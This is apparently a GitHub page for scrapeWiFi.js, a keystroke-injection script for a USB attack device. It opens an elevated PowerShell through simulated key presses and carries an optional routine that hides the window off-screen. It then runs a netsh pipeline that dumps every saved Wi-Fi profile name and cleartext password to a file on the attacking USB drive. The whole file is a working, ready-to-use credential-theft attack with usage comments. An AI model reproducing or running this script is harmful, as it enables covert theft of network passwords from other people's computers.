-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscrapeWiFi.js
42 lines (37 loc) · 1.66 KB
/
scrapeWiFi.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function fast() { //sets typing speed as fast as possible with no randomness
typingSpeed(0,0)
}
function startPS() { //starts powershell (if fails on slower computers extend the delays and see if that helps)
press("GUI x");
delay(50);
press("a");
delay(500);
press("LEFT");
delay(50);
press("ENTER");
delay(200);
}
function hidePS() { //moves powershell window far outside of screeen coords but keeps window in focus to allow typing off screen
type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
press("ENTER");
}
function scrapeWiFi() { //scrapes wifi passwords
type("$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'README' } | select name") //gets usb path based on device name, README is the packaged in mass storage vaue, add you own or change it if youd like
press("ENTER");
type("cd $usbPath.name")
press("ENTER");
//actual wifi scraping below
type('(netsh wlan show profiles) | Select-String "\\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\\W+\\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize >> test.txt')
press("ENTER");
delay(500);
}
function exitPS() { //exits Powershell
type("exit")
press("ENTER");
}
layout('us');
fast();
startPS();
//hidePS();
scrapeWiFi();
exitPS();